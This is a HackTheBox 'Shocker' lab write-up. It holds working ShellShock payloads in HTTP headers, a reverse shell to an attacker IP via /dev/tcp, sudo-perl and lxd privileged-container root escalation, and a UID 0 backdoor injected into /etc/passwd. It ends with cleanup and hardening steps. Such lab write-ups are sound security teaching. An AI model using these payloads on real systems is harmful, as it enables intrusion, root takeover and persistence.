HTB Shocker WriteUp
Shocker Skills
Shocker CTF is an Easy Linux machine where we will use the following skills:
- Web Directory & CGI Script Fuzzing (
ffuf,wfuzz) - Exploiting Bash Environment Variable Injection / ShellShock (
CVE-2014-6271) - Privilege Escalation via
sudoersMisconfiguration (perl/ GTFOBins) - Alternative Privilege Escalation via
lxdGroup & Privileged Container Mount - Local Account Persistence via
/etc/passwdInjection - Bash & Apache
mod_cgiHardening (Blue Team) sudoers& Privileged Group Auditing (lxd) (Blue Team)
IP Address Enumeration
Using the usual nmap scan I’ve discovered ports 80, 2222:
1
2
3
4
5
6
7
8
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.106.231 -oG allPorts
Nmap scan report for 10.129.106.231
Host is up, received user-set (0.046s latency).
Scanned at 2026-11-25 19:08:37 CET for 7s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 63
2222/tcp open EtherNetIP-1 syn-ack ttl 63
Then I launched a basic group of scripts to seek more info from the open ports:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ nmap -sCV -p80,2222 10.129.106.231 -oN targeted
Starting Nmap 7.98 ( https://nmap.org ) at 2026-11-25 19:09 +0100
Nmap scan report for 10.129.106.231
Host is up (0.0066s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
So we have to check the following ports & services:
- Port 80 –> Apache httpd 2.4.18
- Port 2222 –> OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
Let’s see what we can find in port 80
Port 80 Enumeration & Exploitation
At first I ran whatweb, to seek for some versions and technologies used in the website:
1
2
❯ whatweb 10.129.106.231
http://10.129.106.231 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.106.231]
Nothing really useful, let’s check the website in the browser:
The website just shows an image and a text that says: Don’t Bug Me!.
After checking the source code, wappalyzer, etc, nothing was found, then I started Fuzzing
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ ffuf -c -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -u http://10.129.106.231/FUZZ/ -t 100 | grep -v "#"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.106.231/FUZZ/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
cgi-bin [Status: 403, Size: 296, Words: 22, Lines: 12, Duration: 7ms]
[Status: 200, Size: 137, Words: 9, Lines: 10, Duration: 10ms]
icons [Status: 403, Size: 294, Words: 22, Lines: 12, Duration: 11ms]
[Status: 200, Size: 137, Words: 9, Lines: 10, Duration: 6ms]
server-status [Status: 403, Size: 302, Words: 22, Lines: 12, Duration: 8ms]
:: Progress: [220559/220559] :: Job [1/1] :: 15151 req/sec :: Duration: [0:00:14] :: Errors: 0 ::
/cgi-bin found, the CGI is a script mostly written in languages like Perl, Python, Bash, and C. These scripts process user requests and return dynamic content to the client.
Whenever I come across this folder, my mind instantly goes to one specific vulnerability: ShellShock
First of all let’s see if we can find any script inside /cgi-bin
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ wfuzz -c -t 200 --hc=404,403 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -z list,sh-pl-cgi http://10.129.106.231/cgi-bin/FUZZ.FUZ2Z
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.106.231/cgi-bin/FUZZ.FUZ2Z
Total requests: 661677
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000373: 200 7 L 19 W 125 Ch "user - sh"
We have found a bash script named user.sh.
Let’s understand how ShellShock (CVE-2014-6271) works and why it is vulnerable to RCE:
- CGI scripts rely on environment variables: In Linux, CGI scripts use environment variables to store and process incoming HTTP request data, including headers, query parameters, and form inputs. This is what happens when you send a request:
- The web server extracts the request data (such as the
User-Agentheader). - It stores those values inside environment variables (e.g.,
HTTP_USER_AGENT,QUERY_STRING). - It spawns a shell to execute the CGI script (
user.sh), which reads those variables and returns a response.
- The web server extracts the request data (such as the
Bash executes trailing commands in function definitions: Vulnerable versions of Bash (up to 4.3) allow functions to be passed to child processes through environment variables. Whenever a new
bashinstance starts, it scans all environment variables and evaluates any string starting with() {as a function definition. The bug occurs because Bash’s parser fails to stop after the closing brace (}), immediately executing any extra commands appended right after it (() { :;}; [command]).- Chaining both behaviors for RCE: Since we control HTTP headers like
User-Agent, we can set its value to() { :;}; /bin/bash -c "[payload]". The server stores our payload insideHTTP_USER_AGENT, and the momentuser.shis triggered using/bin/bash, Bash parses the variable and executes our injected command on the target machine.
Before trying to get a reverse shell, let’s try to execute a command:
1
2
❯ curl -s -X GET "http://10.129.106.231/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /usr/bin/id"
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
Let’s break down what this command is doing:
curl -s -X GET "http://10.129.106.231/cgi-bin/user.sh": Sends a silent (-s) HTTPGETrequest directly to the vulnerable CGI script.-H "User-Agent: ...": Injects our ShellShock payload inside theUser-Agentheader, which Apache passes straight into theHTTP_USER_AGENTenvironment variable.() { :; };: Defines an empty dummy function (:is a built-in Bash no-op command) and closes it with;, tricking Bash into executing whatever comes right after.echo;: Prints a blank line. In CGI, HTTP headers and the response body must be separated by an empty line—without thisecho, Apache tries to parse our command output as an HTTP header and throws a500 Internal Server Error./usr/bin/id: Executes theidbinary using its full path, since CGI environments often run with a minimal$PATHvariable.
Bingo! We just confirmed RCE as shelly. Now we can swap /usr/bin/id for a reverse shell payload.
- Open a listener with
nc
1
2
❯ nc -nvlp 443
Listening on 0.0.0.0 443
- Execute the command with the new payload
1
❯ curl -s -X GET "http://10.129.106.231/cgi-bin/user.sh" -H "User-Agent: () { :; }; /bin/sh -i >& /dev/tcp/10.10.17.105/443 0>&1"
- Get the shell
1
2
3
4
5
6
❯ nc -nvlp 443
Listening on 0.0.0.0 443
Connection received on 10.129.106.231 45282
/bin/sh: 0: can't access tty; job control turned off
$ whoami
shelly
TTY Treatment
Once we get the reverse shell. We have to get a fully interactive shell. There are multiple ways but I like to do it this way:
1
script /dev/null -c bash
Then press Ctrl+Z to get the process in background.
Now that you are in your machine execute the next command:
1
stty raw -echo;fg
Now write reset xterm and you should have a better looking shell but you still have to execute a few commands:
1
2
3
export TERM=xterm
export SHELL=bash
stty rows 45 columns 184
Run a stty size in your own shell to know the rows and columns.
Shell as shelly
After enumerating the machine a bit, I found that the sudoers configuration permits shelly to run /usr/bin/perl with elevated (root) privileges without requiring authentication.
1
2
3
4
5
6
shelly@Shocker:/usr/lib/cgi-bin$ sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
Taking a look to GTFOBins we can easily spawn a shell owned by root
1
2
3
shelly@Shocker:/usr/lib/cgi-bin$ sudo perl -e 'exec "/bin/bash"'
root@Shocker:/usr/lib/cgi-bin# whoami
root
We can read the flags now:
1
2
3
root@Shocker:/usr/lib/cgi-bin# cat /home/shelly/user.txt /root/root.txt
2105bcbf****************018f990c
0e397914****************67ddd116
Abusing lxd group to Escalate Privileges
Privilege escalation in Shocker was quite disappointing, but if we check in what groups is the user shelly, we can see that it is inside the lxd group.
1
2
shelly@Shocker:/usr/lib/cgi-bin$ id
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
In any Linux machine, if a user is in the lxd group, we can gain privileges in quite a cool way.
- Downloading an Alpine Container Image
1
2
3
4
5
6
7
8
❯ git clone https://github.com/saghul/lxd-alpine-builder.git
Cloning into 'lxd-alpine-builder'...
remote: Enumerating objects: 57, done.
remote: Counting objects: 100% (15/15), done.
remote: Compressing objects: 100% (11/11), done.
remote: Total 57 (delta 6), reused 8 (delta 4), pack-reused 42 (from 1)
Receiving objects: 100% (57/57), 3.12 MiB | 5.24 MiB/s, done.
Resolving deltas: 100% (19/19), done.
- Opening a HTTP Server inside
lxd-alpine-builderdirectory
1
2
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
- Sending the
.tar.gzfile to the victim machine.
1
2
3
4
5
6
7
8
9
10
shelly@Shocker:/tmp/privesc$ wget http://10.10.17.105/alpine-v3.13-x86_64-20210218_0139.tar.gz
--2026-11-28 20:03:09-- http://10.10.17.105/alpine-v3.13-x86_64-20210218_0139.tar.gz
Connecting to 10.10.17.105:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3259593 (3.1M) [application/gzip]
Saving to: 'alpine-v3.13-x86_64-20210218_0139.tar.gz.1'
alpine-v3.13-x86_64-20210218_0139.tar.gz.1 100%[=================================================================================================================================================>] 3.11M --.-KB/s in 0.1s
2026-11-28 20:03:09 (27.2 MB/s) - 'alpine-v3.13-x86_64-20210218_0139.tar.gz.1' saved [3259593/3259593]
- Setting the
HOMEenvironment variable solxccan generate its client certificate without hitting apermission deniederror on/.config:
1
shelly@Shocker:/tmp/privesc$ export HOME=/home/shelly
- Importing the Alpine tarball into the local LXD image store under the alias
myimage:
1
lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
- Creating a privileged container (
security.privileged=true), mounting the host’s root filesystem (/) into/mnt/root, starting the container, and spawning a shell:
1
2
3
4
5
6
shelly@Shocker:/tmp/privesc$ lxc init myimage ignite -c security.privileged=true
Creating ignite
shelly@Shocker:/tmp/privesc$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to ignite
shelly@Shocker:/tmp/privesc$ lxc start ignite
shelly@Shocker:/tmp/privesc$ lxc exec ignite /bin/sh
- Navigating to
/mnt/root/inside the container to access the entire host filesystem asroot:
1
2
3
~ # cd /mnt/root/
/mnt/root # id
uid=0(root) gid=0(root)
We now have access to the complete filesystem in the mounted container, but that is not optimal.
Let’s create a new privileged local user:
- Generating a hashed password (Attacker Machine)
1
2
❯ openssl passwd password
$1$mzwnrDwF$0wsDwGvs0HFYk.jeEnhrK0
- Adding a new user via
/etc/passwd
1
/mnt/root # echo 'cleaner:$1$mzwnrDwF$0wsDwGvs0HFYk.jeEnhrK0:0:0:root:/root:/bin/bash' >> /mnt/root/etc/passwd
- Exiting the container context:
1
/mnt/root # exit
- Logging in as the new user
cleaner
1
2
3
4
5
shelly@Shocker:/tmp/privesc$ su cleaner
Password: password
root@Shocker:/tmp/privesc# id
uid=0(root) gid=0(root) groups=0(root)
root@Shocker:/tmp/privesc#
This is another way to escalate privileges in Shocker
Remedying and Securing the Machine
In this section, we will secure every attack vector that we have just exploited. Because our second privilege escalation path via LXD left quite a bit of noise behind on the system, we will start with a thorough incident response cleanup before patching the vulnerabilities.
1. Incident Response: Cleaning Up Artifacts & Backdoors
During the LXD exploitation path, we created a privileged container, imported an Alpine image, dropped files in /tmp, and injected a backdoor root user (cleaner) into /etc/passwd. Leaving any of these artifacts behind would allow anyone else to walk right back in as root.
- Move out of
/tmp/privescand remove the backdoorcleaneraccount from/etc/passwd(since it shares UID0withroot,userdelwill refuse to remove it, so we strip the line cleanly usingsedorvipw):
1
2
root@Shocker:/tmp/privesc# cd ~
root@Shocker:~# sed -i '/^cleaner:/d' /etc/passwd
- Stop and delete the privileged
ignitecontainer along with the importedmyimagetarball from the local LXD store:
1
2
3
root@Shocker:~# lxc stop ignite --force
root@Shocker:~# lxc delete ignite
root@Shocker:~# lxc image delete myimage
- Remove the downloaded Alpine files in
/tmp/privescand the LXD client certificate generated insideshelly’s home directory:
1
root@Shocker:~# rm -rf /tmp/privesc /home/shelly/.config/lxc
2. Patching ShellShock (CVE-2014-6271) & Hardening Apache CGI
Our initial foothold came from Apache serving a Bash CGI script (/usr/lib/cgi-bin/user.sh) on a system running a vulnerable version of Bash.
Why was it vulnerable?
Vulnerable versions of Bash (up to 4.3) keep parsing and executing commands after the closing brace (}) of a function definition stored inside an environment variable (() { :;}; [command]). Because Apache’s mod_cgi passes HTTP headers like User-Agent directly into environment variables (HTTP_USER_AGENT) before spawning /bin/bash, any remote attacker could trigger arbitrary command execution with a single HTTP request.
How to fix it:
We need to upgrade bash to a patched build, verify that trailing commands in environment variables are no longer evaluated, and disable CGI execution in Apache if legacy scripts are not strictly required:
- Update the
bashpackage to patchCVE-2014-6271:
1
root@Shocker:~# apt-get update && apt-get install --only-upgrade bash
- Verify that the system is no longer vulnerable using the classic ShellShock environment test (it should only output
patched, nevervulnerable):
1
2
root@Shocker:~# env x='() { :;}; echo vulnerable' bash -c "echo patched"
patched
- Disable Apache’s CGI module and remove the exposed
user.shscript if it is no longer needed:
1
2
root@Shocker:~# rm -f /usr/lib/cgi-bin/user.sh
root@Shocker:~# a2dismod cgid && service apache2 restart
3. Fixing the sudoers Misconfiguration (NOPASSWD: /usr/bin/perl)
Once inside as shelly, running sudo -l revealed that she was permitted to run /usr/bin/perl as root without providing a password.
Why was it vulnerable?
Granting sudo privileges to general-purpose scripting interpreters or binaries with shell-escape capabilities (perl, python, vim, awk, etc.) is functionally identical to giving away full root access, since anyone can spawn an interactive root shell (sudo perl -e 'exec "/bin/bash"').
How to fix it:
Remove the NOPASSWD rule for /usr/bin/perl from /etc/sudoers (or /etc/sudoers.d/) using visudo and verify with sudo -l:
1
2
3
root@Shocker:~# visudo
# Remove or comment out the line:
# shelly ALL=(root) NOPASSWD: /usr/bin/perl
4. Revoking lxd Group Membership (Principle of Least Privilege)
Even after fixing sudoers, shelly could still escalate to root because her account belonged to the lxd group.
Why was it vulnerable?
The LXD daemon runs as root and communicates over a local UNIX socket accessible to every member of the lxd group. Because LXD does not restrict what users in that group can mount, any member can spin up a security.privileged=true container, bind-mount the host’s root filesystem (/), and gain full read/write access to the entire host.
How to fix it:
Remove shelly from the lxd group and audit /etc/group to ensure no standard users belong to high-privilege groups like lxd, docker, or disk:
1
2
3
4
root@Shocker:~# gpasswd -d shelly lxd
Removing user shelly from group lxd
root@Shocker:~# id shelly
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),115(lpadmin),116(sambashare)
Notice that
shellyis also a member of theadmgroup, which grants read access to sensitive system logs under/var/log(potentially exposing credentials or tokens). In a hardened production environment, you should revokeadmmembership from non-administrative accounts as well (gpasswd -d shelly adm).
Final Thoughts
Shocker is a classic Linux box that shows how a single legacy script can compromise an entire server. The biggest takeaway on the enumeration side is never to walk away from a 403 Forbidden directory like /cgi-bin—fuzzing inside it for specific script extensions (.sh, .pl, .cgi) was the key to uncovering user.sh and exploiting ShellShock (CVE-2014-6271).
Once inside as shelly, the machine also reinforces the habit of checking every privilege escalation vector. While sudo perl offered an instant win, enumerating group memberships revealed the lxd group, giving us a great opportunity to practice privileged container escapes and local account persistence.
From a Blue Team perspective, Shocker is a textbook reminder to keep core system binaries like bash patched, disable unused Apache modules like mod_cgi, and strictly audit both sudoers rules and high-privilege local groups such as lxd.
Thanks for reading! I’d appreciate it if you took a look at my other posts :)


